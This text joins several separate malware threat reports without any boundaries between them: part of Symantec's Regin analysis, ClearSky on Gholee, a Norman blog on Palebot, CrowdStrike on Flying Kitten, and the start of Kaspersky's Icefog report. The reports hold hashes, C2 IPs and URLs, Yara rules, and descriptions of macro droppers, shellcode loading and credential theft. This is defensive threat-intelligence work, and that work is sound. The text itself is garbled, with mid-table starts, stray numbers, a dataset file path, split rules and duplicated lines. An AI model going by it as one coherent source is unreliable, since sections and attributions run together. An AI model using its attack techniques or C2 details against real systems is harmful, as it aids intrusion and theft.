Evt 02 Small 8 byte files 0033 01 A single DWORD, such as 111Ch 03 A single DWORD, such as 1114h 0011 - - 0013 01 Unknown list of records 02 A single byte, such as 3 C373 01 BPF bytecode for the netpcap driverallows UDP passthrough 02 A WORD value, such as 1 0019 01 BPF bytecode for the netpcap driverallows TCP passthrough 02 A WORD value, such as 1 0009 00 A single DWORD, such as 11030B15h 01 Contains CC location information 02 CC routines to be executed: (C375, 1) param 08 02 (19, 1) param 44 57 58 00 (C373, 1) param 08 02 (1B, 1) param 20 00 03 Routines to be executed (4E69, 2) (19, 2) (1B, 2) (C373, 2)( C375, 2) (C383, 2)(C363, 2) 07 RC5 key used to decrypt command-and-control packets 09 Unknown data 0B Unknown data 12 A single byte, such as 1 17 Unknown data Page 19 Regin: Top-tier espionage tool enables stealthy surveillance As the data files are stored in a container, they do not have names.
Just like Stage 5 modules, they are referenced by their filetag, which is the aggregation of the major and minor identifiers.
The major identifier indicates which major routine group likely handles or creates the file.
Not all data files have been recovered, so the information remains incomplete.
Data files associated with Stage 4 kernel modules have not been recovered Table 8 lists recovered data files used by Stage 5 modules.
The associated modules that supposedly manipulate those data files were not recovered.
Table 8.
Data files used by Stage 5s modules (payloads) Major Minor Description C363 02 6 bytes (01 00 00 00 00 00) 4E3B - 290B - C375 01 Dword (1) 02 Dword (0) C383 01 Dword (1) 02 Dword (0) 10 64 bytes (512 bits)Diffie Hellman, p (prime) 11 Byte (2)Diffie Hellman, g (generator) C361 10 File containing timestamps and high entropy dataUnclear 11 Dword (E10h) 12 Dword (2) 001B - C399 - C39F 00 Small file, 18h bytes, low entropy 01 Unencrypted unicode path, Temp\B3Y7F.tmp C3A1 01 Small file, 6 bytes (08 01 00 00 00 01) 28A5 02 Small file, 18h bytes, unknown C3C1 - - C3B5 - - C36B - - C351 - - 2B5D - - C3CD - - C38F - - C3C5 - - 27E9 - - Table 9.
Orphaned data files Major Minor Description 4E25 00 Byte (1) 01 Byte (2) 28A4 00 Unknown 02 Small file, 8 bytes (01 00 00 00 00 00 00 00) DEAB 01 Small file, 8 bytes (00 00 01 01 04 00 00 00) Page 20 Regin: Top-tier espionage tool enables stealthy surveillance Indicators of compromise The following details can be used to help determine whether you have been impacted by this threat.
File MD5s 2c8b9d2885543d7ade3cae98225e263b 4b6b86c7fec1c574706cecedf44abded 187044596bc1328efa0ed636d8aa4a5c 06665b96e293b23acc80451abb413e50 d240f06e98c8d3e647cbf4d442d79475 6662c390b2bbbd291ec7987388fc75d7 ffb0b9b5b610191051a7bdf0806e1e47 b29ca4f22ae7b7b25f79c1d4a421139d 1c024e599ac055312a4ab75b3950040a ba7bb65634ce1e30c1e5415be3d1db1d b505d65721bb2453d5039a389113b566 b269894f434657db2b15949641a67532 bfbe8c3ee78750c3a520480700e440f8 File names/paths usbclass.sys adpu160.sys msrdc64.dat msdcsvc.dat System\config\SystemAudit.
Evt System\config\SecurityAudit.
Evt System\config\SystemLog.evt System\config\ApplicationLog.evt Windir\ime\imesc5\dicts\pintlgbs.imd Windir\ime\imesc5\dicts\pintlgbp.imd Windir\system32\winhttpc.dll Windir\system32\wshnetc.dll Windir\SysWow64\wshnetc.dll Windir\system32\svcstat.exe Page 21 Regin: Top-tier espionage tool enables stealthy surveillance Windir\system32\svcsstat.exe Extended attributes Windir Windir\cursors Windir\fonts Windir\System32 Windir\System32\drivers Registry HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\4F20E605-9452-4787-B793- D0204917CA58 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\RestoreList\VideoBase HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\4F20E605-9452-4787-B793- D0204917CA5A About Symantec Symantec Corporation (NASDAQ: SYMC) is an information protection expert that helps people, businesses and governments seeking the freedom to unlock the opportunities technology brings -- anytime, anywhere.
Founded in April 1982, Symantec, a Fortune 500 company, operating one of the largest global data-intelligence networks, has provided leading security, backup and availability solutions for where vital information is stored, accessed and shared.
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Symantec World Headquarters 350 Ellis St. Mountain View, CA 94043 USA 1 (650) 527-8000 1 (800) 721-3934 www.symantec.com Copyright 2014 Symantec Corporation.
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http://www.symantec.com go.symantec.com/social/ OVERVIEW Introduction Timeline Target profile Infection vector Architecture Stage 0 (dropper) Stage 1 Stage 2 Stage 3 Stage 4 Stage 5 Encrypted virtual file system containers Command-and-control operations Logging Payloads 64-bit version File names Stage differences Conclusion Protection Appendix Data files Indicators of compromise File MD5s File names/paths Extended attributes Registry
Introduction During the 2014 IsraelGaza conict, dubbed by Israel as operation protective edge, a raise in cyber-attacks against Israeli targets was reported.
In this report we analyze one case of an operation protective edge themed spear phishing attack.
That email contained a malicious excel le, which once opened and its VBA code executed, would infect the victims computer.
As for the publication of this report, the le is recognized as malicious by only one antivirus engine.
Based on our analysis, we believe the threat actor behind this malware is a high level professional.
Gholee Our investigation of the Gholee malware started following a detection of a suspicious le that was sent in an email to an undisclosed recipient.
The le name was Operation Protective Edge.xlsb (MD5: d0c3f4c9896d41a7c42737134ffb4c2e).
The le was uploaded to Virus Total the rst time on 10 August 2014, from Israel.
At that time it was not detected as malicious by any of the 52 tested antivirus engines.
Nine days later, it was http://www.clearskysec.com/gholee-a-protective-... 1 of 8 03/22/2015 07:49 PM uploaded again to Virus total, again from Israel.
This time it was detected as malicious only by Kaspersky, as Trojan- Dropper.MSExcel.
Agent.ce.
Infection Upon opening the le a message is displayed, saying: Due to security considerations I consciously hid the Informations.
It will be visible for you by enabling content above.
[
1] This is a social engineering tactic meant to lure the victim into enabling Macro content.
If enabled, the message disappears, and the following information is presented to the victim (it is possible that the unreadable characters in the screenshot below are the result of an encoding error in our lab environment, and that the victim would see different, readable content).
Technical Analysis Analysis of the Macro code reveals the following structure: In order to avoid detection by protection measures such as computer antivirus and intrusion detection systems, ASCII http://www.clearskysec.com/gholee-a-protective-... 2 of 8 03/22/2015 07:49 PM characters codes are used instead of actual characters.
The ASCII codes are converted to strings as they are concatenated into a single variable within a function Tens of these functions then concatenated, creating a single PE le [2] [3] Finally, the le is saved to NTUSER.data.GUIDE.dll (MD5: 48573a150562c57742230583456b4c02) and the function ShellExecte is used to run it under cmd.exe /C and Rundll32 This is in order to hide the process.
The Dll le is obfuscated and includes various mechanism to hide from Debuggers such as Ollydbg and IDA and from Sandbox software such as Cuckoo and Anubis.
Analyzing the le, we have found an interesting entry point called gholee.
http://www.clearskysec.com/gholee-a-protective-... 3 of 8 03/22/2015 07:49 PM [4] [5] A quick Facebook search for that name and Iran discovered Gholee is a popular Iranian singer: [6] Communication When run, the DLL le is communicating with a Kuwait based IP address: 83.170.33.60, owned by German company iABG Mbh, which provides satellite communication services.
http://www.clearskysec.com/gholee-a-protective-... 4 of 8 03/22/2015 07:49 PM [7] The malware opens an SSL connection over port 443 using a digital certicate that expired in 2010.
The certicate was issued for security company Core Security, the creators of the offensive suite Core Impact, for the address coreimpactagent.net.
[
8] [9] It was issued by Thawte certicate authority.
[
10] http://www.clearskysec.com/gholee-a-protective-... 5 of 8 03/22/2015 07:49 PM [11] Certicate Fingerprint MD5: 9C 80 C2 47 40 6D 6C ED FC E0 08 AE EF D9 98 90 Using a proxy and SSL stripping, the following communication pattern over HTTP can be seen: GET /index.php?cUd7atknqr17117d HTTP/1.1 POST /index.php?cUd7atknqr1710b2 HTTP/1.1 Related incidents Searching for specic strings from the malicious le, we found another le that we believe is related to this campaign.
The le name is svchost 67.exe (MD5: 916be1b609ed3dc80e5039a1d8102e82 ) and it was uploaded to Virus Total[5] on 2 June 2014, more than two months earlier than Operation Protective Edge.xlsb.
It was uploaded twice from Latvia potentially to test the malwares detection rate.
svchost 67.exe communicated with 83.170.33.37, which is on the same /26 netblock as the address Operation Protective Edge.xlsb http://www.clearskysec.com/gholee-a-protective-... 6 of 8 03/22/2015 07:49 PM is commutating with.
Detection and prevention By using GPO to disable macro code from running, infection by this malware may be avoided.
Alternatively, les containing macro code should be blocked at the email gateway or by an anti-spam solution.
Logs and proxy servers should be checked for communication with the IP addresses with which the malware communicates: 83.170.33.60 83.170.33.37 If you think you got infected, check in the system root folder for a le called NTUSER.DAT.GUID.dll .
for example: NTUSER.DAT016888bd-6c6f-11de-8d1d-001e0bc.dll The following Yara rule may be used to detect the gholee malware: rule gholee meta: author www.clearskysec.com date 2014/08 http://www.clearskysec.com/gholee-a-protective-... 7 of 8 03/22/2015 07:49 PM http://www.clearskysec.com/wp-content/uploads/2014/09/2.png1.
http://www.clearskysec.com/wp-content/uploads/2014/09/5.png2.
http://www.clearskysec.com/wp-content/uploads/2014/09/5.png3.
http://www.clearskysec.com/wp-content/uploads/2014/09/6.png4.
http://www.clearskysec.com/wp-content/uploads/2014/09/6.png5.
http://www.clearskysec.com/wp-content/uploads/2014/09/1.png6.
http://www.clearskysec.com/wp-content/uploads/2014/09/7.png7.
http://www.clearskysec.com/wp-content/uploads/2014/09/8.png8.
http://www.clearskysec.com/wp-content/uploads/2014/09/8.png9.
http://www.clearskysec.com/wp-content/uploads/2014/09/9.png10.
http://www.clearskysec.com/wp-content/uploads/2014/09/9.png11.
maltype Remote Access Trojan letype dll strings: a sandbox_avg10_vc9_SP1_2011 b gholee condition: all of them http://www.clearskysec.com/gholee-a-protective-... 8 of 8 03/22/2015 07:49 PM
Palebot trojan harvests Palestinian online credentials December 8, 2011 by Snorre Fagerland - I sometimes sample the stream of files that come from VirusTotal, so as not to lose touch with what malware is actually floating around.
Of special interest are the files where few or only we have detection, because there is a higher probability that such files are false positives that need to be removed.
However, yesterday I found an interesting file.
Firts of all, it was relatively clear that it was no false positive, since sandbox and live systems confirmed that it installed using the file name svcshost.exe.
It was obviously mimicking the legitimate program svchost.exe, which is a pretty telling hint.
Looking at the file revealed out-of-the ordinary traits.
It was over 750k in size, and this is somewhat unusual for trojans.
It was not packed or obfuscated, so by just looking at the file image some strings jumped out: The lowermost of these URLs appears to be a webmail front for the Palestinian National Authority.
The list shown is used as input to a function that has as purpose to grab user credentials from IntelliForms.
IntelliForms is the name for the autocomplete function that exists in Internet Explorer.
The full list of targeted sites is: https://login.live.com/ http://facebook.com/ http://www.facebook.com/ http://hotmail.com/ http://gmail.com/ http://mail.google.com/ https://portal.iugaza.edu.ps/ https://web.archive.org/web/20130308090454/http://blogs.norman.com/author/snorre_fagerland https://web.archive.org/web/20130308090454/http://blogs.norman.com/wp-content/uploads/2011/12/palbot.png https://www.google.com/ https://www.google.com/accounts/ http://www.fatehforums.com/ http://portal.iugaza.edu.ps/ https://login.yahoo.com/config/login https://login.yahoo.com/ https://www.google.com/accounts/service https://my.screenname.aol.com/_cqr/login.psp http://myaccount.jawwal.ps/ http://www.myspace.com http://paypal.com http://moneybookers.com http://mail.mtit.pna.ps/src/login.php Digging further into the origin of this file, I find that it is dropped by a WinRAR SFX installer which also extracts and shows the document below (excerpt): The full text seems to be taken from an article in the Palestinian newspaper Al-Sabah (Google translated): www.alsbah.net.
The document, aylol.doc, contains very little metadata, so we are not talking about complete newbies in https://web.archive.org/web/20130308090454/http://blogs.norman.com/wp-content/uploads/2011/12/alsabah.png https://web.archive.org/web/20130308090454/http://translate.google.no/translate?hlnoslartlenuhttp3A2F2Fwww.alsbah.net2Fnew12Fmodules.php3Fname3DNews26file3Dprint26sid3D5946 the targeted attack business.
There are apparently at least two versions of this trojan around.
Norman Sandbox technology detected these proactively as W32/Malware, but they will be renamed to Palebot.
Aapt and Bapt.
The trojan is still in analysis, and further details may be published later.
MD5s of samples: 7f3b74c9274f501bf0d9ded414b62f80 25f758425fcea95ea07488e13f07e005 1954622c1fe142200ad06eec12291fcd (RAR SFX).
Cat Scratch Fever: CrowdStrike Tracks Newly Reported Iranian Actor as FLYING KITTEN Today, our friends at FireEye released a report on an Iran-based adversary they are calling Saffron Rose.
CrowdStrike Intelligence has also been tracking and reporting internally on this threat group since mid- January 2014 under the name FLYING KITTEN, and since that time has seen targeting of multiple U.S.- based defense contractors as well as political dissidents.
Flying Kitten Targeted Intrusion FireEyes report notes that this adversarys targeted intrusion activity consists of credential theft and malware delivery individually.
The FLYING KITTEN campaigns investigated by CrowdStrike Intelligence showed that the actor actually combines the two.
For example, the adversary will register a domain that spoofs the name of the targeted organization and then host a spoofed login page on that site.
The page is used to steal legitimate credentials, but once users enter the credentials, they are often redirected to a new page that prompts them to download a Browser Patch or other similar type of file.
The downloaded file is actually the Stealer malware that exfiltrates stolen data to an FTP server.
http://www.fireeye.com/resources/pdfs/fireeye-operation-saffron-rose.pdf In addition to the aerospace/defense and dissident targeting, it also appears that FLYING KITTEN is also engaged in broader targeting via the website parmanpower[.
]com.
This website is registered via the same registrant email (info[]usa.gov.us) and other Whois information as some of the other domains related to the activity discussed above.
It purports to be the website of a business engaged in recruiting, training, and development in Erbil, Iraq.
No malicious activity has been linked to this domain, however, the fact that it was registered under the same registrant email at the same time as other FLYING KITTEN domains linked to malicious activity, it is likely that the adversary is using this site for malicious purposes as well.
The website does not appear to deliver any malware, so its most likely purpose is to act as a credential-collection mechanism much like the spoofed Institute of Electrical and Electronics Engineers (IEEE) Aerospace Conference website (aeroconf2014[.
]org) the adversary used earlier this year.
This spoofed recruiting company website could be used to target entities across a wide range of sectors.
Attribution Attribution in this case is interesting, as the adversary appears to have made a mistake when registering its malicious domains.
The registrant email that currently appears in the Whois records of some of the FLYING KITTEN domains is info[]usa.gov.us, however historical records show that the domains were originally registered under the email address keyvan.ajaxtm[]gmail.com.
As FireEyes report notes, the keyvan.ajaxtmgmail.com email address ties back to an Iran-based entity called Ajax Security Team.
Earlier this year, Ajax Security had an easily identifiable presence on the Internet with its own website and related Facebook pages.
This Internet presence has decreased significantly since early 2014, likely due to a desire to keep a lower profile now that the group is engaged in targeted intrusion activity.
The following Yara rules will provide detection for the adversary remote access toolkit and exfiltration tool: rule CrowdStrike_FlyingKitten : rat meta: copyright CrowdStrike, Inc description Flying Kitten RAT version 1.0 actor FLYING KITTEN in_the_wild true strings: classpath Stealer.
Properties.
Resources.resources pdbstr \Stealer\obj\x86\Release\Stealer.pdb condition: all of them and uint16(0) 0x5A4D and uint32(uint32(0x3c)) 0x4550 and uint16(uint32(0x3C) 0x16) 0x2000 0 and ((uint16(uint32(0x3c)24) 0x010b and uint32(uint32(0x3c)232) 0) or (uint16(uint32(0x3c)24) 0x020b and uint32(uint32(0x3c)248) 0)) rule CrowdStrike_CSIT_14003_03 : installer meta: copyright CrowdStrike, Inc description Flying Kitten Installer version 1.0 actor FLYING KITTEN in_the_wild true strings: exename IntelRapidStart.exe confname IntelRapidStart.exe.config cabhdr 4d 53 43 46 00 00 00 00 condition: all of them You can use this rule with CrowdStrikes free CrowdResponse tool to easily scan your systems for presence of FLYING KITTEN.
If you have any questions about these signatures or want to hear more about Flying Kitten and their tradecraft, please contact: intelligencecrowdstrike.com and inquire about Falcon Intelligence, our Cyber Threat Intelligence subscription.
Share this - http://www.crowdstrike.com/blog/new-community-tool-crowdresponse/ mailto:intelligencecrowdstrike.com
THE ICEFOG APT: A TALE OF CLOAK AND THREE DAGGERS K ASPERSKY L AB GLOBAL RESEARCH AND ANALYSIS TEAM (GREAT) VERSION: 1.00 - also known as three daggers or three knives is an ancient Chinese weapon.
(
C) 2013 KASPERSKY LAB ZAO 2 CONTENTS CONTENTS EXECUTIVE SUMMARY 3 ATTACK ANALYSIS 4 Spear-phishing attacks - Microsoft Office exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.5 Spear-phishing attacks - Java exploits .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.9 Spear-phishing attacks - HLP vector .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10 Spear-phishing attacks - HWP vector .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12 Attackers Modus Operandi .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12 Backdoor Information . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13 Lateral movement tools: .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
22 COMMAND AND CONTROL SERVERS 24 CC Servers Infrastructure .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
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179
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EX AMPLE A MD5 FILENAME KASPERSKY NAME b8bed65865ddecbd22efff0970b97321 E-mail message Exploit.
| 37,635
| 37,685
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data/reports_final/0179.txt
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EX AMPLE A MD5 FILENAME KASPERSKY NAME b8bed65865ddecbd22efff0970b97321 E-mail message Exploit.
MSWord.
CVE-2012- 0158.bu 5f1344d8375b449f77d4d8ecfcdeda9a AKB48 Sashihara Rino was super cheetah (with picture).
Doc based on his confession Exploit.
MSWord.
CVE-2012- 0158.bu 9de808b3147ec72468a5aec4b2c38c20 Temporary dropper Backdoor.
Win32.CMDer.ct 120f9ed8431a24c14b60003260930c37 wdmaud.drv Backdoor.
Win32.CMDer.ct The attachment is a standard Tran Duy Linh exploit for CVE-2012-1856.
Sample Icefog spear-phishing e-mail 6 ATTACK ANALYSIS Upon successful execution, the exploit displays a decoy document featuring a picture of a scantily clad woman: EX AMPLE B MD5 FILENAME KASPERSKY NAME 32e8d4b2f08aff883c8016b7ebd7c85b Name varies Exploit.
MSWord.
CVE-2012-0158.u d544a65f0148e59ceca38c579533d040 n/a Trojan-Downloader.
Win32.Agent.wqqz 9a64277e40e3db8659d359126c840897 wdmaud.drv Trojan-Downloader.
Win32.Agent.wqqz Sample Icefog spear-phishing e-mail 7 ATTACK ANALYSIS Upon successful execution, this shows a clean, fake lure document in Japanese titled Little enthusiasm for regional sovereignty reform: EX AMPLE C MD5 FILENAME KASPERSKY NAME 61ed85d28eb18b13223e033a01cb5c05 .eml / Reviews for mass production material Exploit.
MSWord.
CVE-2012- 0158.az 43edcbd20bb5fec2c2d36e7c01d49fc7 20130128.xls Exploit.
MSWord.
CVE-2012- 0158.az Sample Icefog spear-phishing e-mail 8 ATTACK ANALYSIS This is a business e-mail in Japanese: The same malware was used to spear-phish multiple targets in Japan.
Another example (d6c90955c6f2a346c9c91be82a1f9d8c) looks like this: 9 ATTACK ANALYSIS SPEAR-PHISHING ATTACKS - JAVA EXPLOITS In addition to Microsoft Office exploits, the Icefog attackers are known to be using Java exploits, hosted online.
For instance, one of the malicious websites used in the attacks was money.cnnpolicy.com.
The Java exploit downloaded and executed an Icefog dropper from the following URL: www.securimalware[dot]net/info/update.exe Note: This website is now SINKHOLED by Kaspersky Lab.
The update.exe is a standard Icefog dropper, with the following information: MD5 COMPILEDON KASPERSKY NAME 78d9ac9954516ac096992cf654caa1fc 2012-07-26 03:10:51 Trojan-Downloader.
Win32.Agent.
gzda Upon execution, it installs the Icefog malware as sxs.dll in the Internet Explorer folder (usually C:\ Program Files\Internet Explorer): MD5 COMPILEDON KASPERSKY NAME 387ae1e56fa48ec50a46394cc51acce7 2012-07-26 03:10:48 Trojan-Downloader.
Win32.Agent.
xsub To receive control, the malware DLL (sxs.dll) uses a technique known as DLL search order hijacking, which abuses the fact that Internet Explorer will load this file from its own directory, instead of the Windows SYSTEM folder.
The backdoor beams out to the command-and-control server at www.setchon[dot]com/jd/ upload.aspx 10 ATTACK ANALYSIS SPEAR-PHISHING ATTACKS - HLP VECTOR The Icefog attackers are also using HLP files to infect their targets.
The HLP files do not contain exploits but they are abusing certain Windows features to drop the malware.
Its interesting to know that Icefog is not the only crew to heavily use HLP exploits as a part of their toolkit.
Well known, very effective APT like the Comments Crew / APT1, have included the HLP trick in their kits, along with other lesser known crews.
This HLP format is an older one, known as Winhelp, which was natively supported up until Vista and Windows 7, when Microsoft shipped a separate Winhlp32.exe component to help phase out the technology.
Most likely, the choice to abuse Winhelp indicates that the attackers have an idea of what version operating systems they are attacking.
In very conservative terms, this implementation of HLP files is not an exploit, but instead, abuse of a poorly constructed Windows Help feature.
Code and data is mixed in this file format, and the Icefog attackers abused it with custom macros.
A fine description of custom macros and the risks of building them in to WinHelp projects is provided by Ruben Santamarta: http://reversemode.com/index2.php?optioncom_contentdo_ pdf1id4 EX AMPLES MD5 FILENAME KASPERSKY NAME 0b28d3cc9e89ffe53dbb50f739fcb6e3 QA.hlp Exploit.
WinHLP.Agent.d 4482fd69a07ab15d9a9d3b3819d048be .hlp Exploit.
WinHLP.Agent.d Lets take a quick look at an example of how the Icefog attackers abused the provided WinHelp functionality by examining the relevant custom macros, API calls and shellcode.
11 ATTACK ANALYSIS This sample uses standard Win32 API to allocate memory with the execution flag set, copies(using long string copy) XORed shellcode and calls CreateThread to transfer execution to the malicious payload.
In the screenshot above, RR means RegisterRoutine.
After registration, one can simply call the respective function.
Next, the sample allocates memory with execution flag , and copies XORed shellcode .
To execute the code, a simple call to CreateThread( ) suffices: The shellcode is encrypted with a simple 0xBF XOR operation: Upon execution, the shellcode installs an Icefog backdoor that communicates with the C2s at: www.samyongonc[dot]com/jd/upload.aspx and www.625tongyi[dot]com/jd/upload.aspx 12 ATTACK ANALYSIS SPEAR-PHISHING ATTACKS - HWP VECTOR During our investigation, we observed Icefog attacks using HWP files.
These are document files used by the Hangul Word Processor.
According to Wikipedia, Hangul (also known as Hangul Word Processor or HWP) is a proprietary word processing application (link to: http://en.wikipedia.org/ wiki/Hangul_(word_processor)) published by the South Korean company Hancom Inc.
It is used extensively in South Korea, especially in the government sector.
Unfortunately, we were not able to obtain any of these files, although they were used to successfully attack and infect victims.
Users of HWP should be aware of these exploits and update their Hangul Word Processor installation to the most recent version.
ATTACKERS MODUS OPERANDI The attack is initiated through spear-phishing e-mails, taking advantage of multiple known (already patched) vulnerabilities.
Once they successfully infect a machine, the operators perform several basic functions to identify and confirm the nature of the victim: List folders on disk such as My Documents and the Desktop.
List adapters and IP configurations.
Get information about the victim and their network.
If the victims looks genuine (they avoid working with virtual machines and fake victims) they further deploy additional software, including: Type 2 backdoors that use a newer protocol for communication.
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Lateral movement tools such as: Password and hash dumping tools.
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Lateral movement tools such as: Password and hash dumping tools.
Tools to dump Internet Explorer saved passwords.
Tools to dump Outlook e-mail accounts and passwords.
Debugging tools.
http://en.wikipedia.org/wiki/Hangul_(word_processor) http://en.wikipedia.org/wiki/Hangul_(word_processor) 13 ATTACK ANALYSIS The legitimate RAR program to compress stolen data.
We have documented three main types of stolen data: Windows address books, .WAB files.
Documents, including HWP, XLS and DOC files.
User account credentials.
If stolen information represents large files, they are compressed with the popular tool WinRAR (split into volumes) or CABARC and transferred to the command-and-control part by part.
BACKDOOR INFORMATION Several known variants of the Icefog backdoor are known to exist.
We list these as following: The old 2011 Icefog which sends stolen data by e-mail this version was used against the Japanese House of Representatives and the House of Councillors in 2011.
Type 1 normal Icefog which interacts with command-and-control servers.
Type 2 Icefog which interacts with a script-based proxy server that redirects commands from the attackers to another machine.
Type 3 Icefog We dont have a sample of this variant but we observed a certain kind of CC that uses a different communication method we suspect there are victims infected with this malware.
Type 4 Icefog same situation as type 3.
Icefog-NG which communicates by direct TCP connection to port 5600.
14 ATTACK ANALYSIS THE OLD 2011 ICEFOG Back in 2011, we analyzed malware samples that were used to attack several Japanese organizations.
Among of the attacked organizations were the Japanese House of Representatives and the House of Councilors.
MD5 COMPILEDON KASPERSKY NAME 6d3d95137ef1ba5c6e15a4a95de8a546 2011-08-05 16:44:30 Trojan-Spy.
Win32.Agent.bxeo a72d3774d2d97a7eeb164c6c5768f52a 2011-07-22 20:54:16 Trojan-PSW.Win32.MailStealer.j Both samples beacon out to the CC at www.cloudsbit.com, although to different scripts: /dj/ upload.aspx and /jd2web/upload.aspx.
In addition to the normal command-and-control mechanism, these older samples feature another capability, which involves e-mail accounts on AOL.COM: harrypottercommand001aol.com jd2command092aol.com jd2clientsendaol.com woshihero009aol.com mrmylcmd009aol.com defaultmail002aol.com The malware has the ability to connect to these accounts by POP3 and fetch commands from the mailbox.
It also has the ability to send stolen data by e-mail, by contacting smtp.aol.com and sending e-mail messages directly.
Heres what such a session looks like: 15 ATTACK ANALYSIS One of the samples used in the attacks drops a lure photo depicting a Japanese audience: Of the e-mail accounts used by the backdoor, one of them was interesting: woshihero009[at] aol.com Back in August 2011, when these attacks took place, this mailbox had several hundred e-mails with stolen information from the victims.
Note: the faces of the people in the photo above have been blurred in accordance to the Japanese Portrait Rights (() regulations 16 ATTACK ANALYSIS Interestingly, their address book contained a number of e-mail addresses to which e-mails were forwarded and were automatically added to the address book.
Note: More information about the attackers and the older 2011 Icefog incident is available in our private report.
T YPE 1 ICEFOG MD5 COMPILEDON KASPERSKY NAME 2a106c694660891e0950493e3eedc42d 2013-06-19 12:43:17 Trojan-Downloader.
Win32.Agent.
yium The Icefog type 1 backdoor is a remotely controlled Trojan that supports a variety of functions.
Versions of this backdoor are available for Microsoft Windows and Mac OS X.
It has the ability to: Hijack and upload basic system information to CC servers owned and controlled by the attackers.
Give the attackers access to push and run commands on the infected system.
Steal and upload files from the victims to the command-and-control servers.
Download files (tools) from the CC servers to the infected computers.
Give access to the attackers to directly execute SQL commands on any MSSQL servers in the network.
For a technical description of the type 1 Icefog backdoor, see Appendix B.
17 ATTACK ANALYSIS T YPE 2 ICEFOG The type 2 Icefog backdoor is very similar to type 1.
However it uses a proxy server for the commands.
This behavior relies on a set of ASP scripts, which act as a buffer between the real CC backend and the victim.
It offers another level of anonymity to the attackers, as it can be controlled (for instance) via Tor or another anonymizing method.
We havent observed the use of Type 2 backdoors directly against the victims.
Instead, the type 2 backdoor is used as an upgrade to Type 1 infections, together with a special loader tool.
It uses a script named alive.asp for most of the operations.
(
example CC URL: www.chinauswatch[dot]net/test/space.asp - SINKHOLED by Kaspersky Lab).
Icefog Type 2 CC scripts 18 ATTACK ANALYSIS Type 2 Icefog exists as shellcode files, usually named msuc.dat.
These are loaded through the use of a special tool.
MD5 FILENAME KASPERSKY NAME 324d26f4fb7a91b8019c19e6a0318400 msuc.dat Trojan.
Win32.Icefog.a aa97368c43171a5c93c57327d5da04cf msuc.dat Trojan.
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Win32.Icefog.a Loaders: MD5 FILENAME KASPERSKY NAME d22ab2a2f9e4763a35eb7c6db144d3d4 msld.exe Trojan.
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Win32.Icefog.a Loaders: MD5 FILENAME KASPERSKY NAME d22ab2a2f9e4763a35eb7c6db144d3d4 msld.exe Trojan.
Win32.Icefog_loader ffef41bd67de8806ac2d0e10a3cab3c2 .exe.jpg (Undercurrent server code piece calling program) Trojan.
Win32.Icefog_loader be043b0d1337f85cfd05f786eaf4f942 .exe.jpg (Communication module code sheet invoking special.
Exe.jpg) Trojan.
Win32.Icefog_loader In terms of functionality, type 2 Icefog is similar to type 1.
The only difference is that the malware does not have persistence in the system and disappears after reboot.
T YPE 3 AND 4 ICEFOG Although we dont have samples of these variants, we observed and sinkholed a certain kind of Icefog-related command-and-controls that use a different communication method we suspect there are victims that are infected with this malware.
Type 3 Icefog uses scripts named view.asp and update.asp.
Known CC URLs: www.krentertainly[dot]net/web/view.asp disneyland.website.iiswan[dot]com/web/view.asp Type 4 Icefog uses scripts named upfile.asp.
Known CC URL: www.pinganw[dot]org/sugers/upfile.asp - SINKHOLED by Kaspersky Lab) 19 ATTACK ANALYSIS We continue to look for these variants and will update the paper when or if they are identified.
T YPE NG ICEFOG Type NG Icefog is the most recent version of this backdoor.
It is designed to communicate directly with a command-and-control software that runs on Microsoft Windows computers.
For a thorough technical description of the type 1 Icefog backdoor, see Appendix C. MACFOG - THE MAC OS X VERSION OF ICEFOG In late 2012, the Icefog attackers experimented with a Mac OS X version of Icefog.
This particular version of the malware was seeded in a number of Chinese BBS forums and masked as a graphic application.
Here is an example: http://bbs.pcbeta.com/forum.php?modviewthreadtid1157944 page1pid30109870 On 19 October 2012, the user appstoer advertised an application named Img2icns.rar.
The archive contains a Mac OS X application that drops and installs the Macfog malware.
We were able to find two such archives, but there are probably more.
http://bbs.pcbeta.com/forum.php?modviewthreadtid1157944page1pid30109870 http://bbs.pcbeta.com/forum.php?modviewthreadtid1157944page1pid30109870 20 ATTACK ANALYSIS MD5 FILENAME SIZE 126c6b7f5be186fd48bb975f7e59385e Img2icns.zip 5,283,638 ff27ebb3696e075e339195a2833caa47 Img2icns.zip 5,285,456 The malicious modules have the following identification data: MD5 FILENAME SIZE KASPERSKY NAME cf1815491d41202eb8647341a8695e1e launchd 32,768 Trojan.
OSX.Macfog.a 336de9428650c46b64ff699ab4a441bb launchd 23,084 Trojan.
OSX.Macfog.a 9f422bb6c00bb46fbfa3918ae3e9447a Img2icns 23,236 Trojan.
OSX.Macfog.a The Macfog backdoor is a 64-bit Apple Mac OS X Mach-O executable, compiled with the LLVM Clang package.
It uses the type 1 CC servers protocol to communicate and has the same capabilities as the Windows version.
We are including a brief description below a full description of the malware is available in Appendix D: MACFOG: SUMMARY DESCRIPTION The Macfog backdoor is very similar to its Win32 siblings.
It collects unique system information and POSTs this data to a hardcoded URL: hxxp://appst0re.net/upload.aspx?filepathorder/ok/arbitrary namefilenamehostname.jpg 21 ATTACK ANALYSIS The backdoor is capable of familiar functionalities: system information collection, communication over HTTP with the CC, download and upload files and execute system commands.
The Macfog backdoor is different from the Windows variant from the point of view of usage by the attackers.
So far, we havent identified victims of targeted attacks being infected with it, although we do believe they exist.
The seeding of this version through Chinese bulletin boards resulted in a few hundred infections worldwide.
We believe this could have been a beta-testing phase for Mac OS X versions to be used in targeted attacks later.
Macfog CC configuration data 22 ATTACK ANALYSIS LATERAL MOVEMENT TOOLS: The attackers rely on a multitude of lateral movement tools that are deployed to the victims through the command-and-control servers.
The tools we observed cover a variety of functions, such as dumping Windows user credentials, Outlook and Internet Explorer saved passwords, and the gathering of system information.
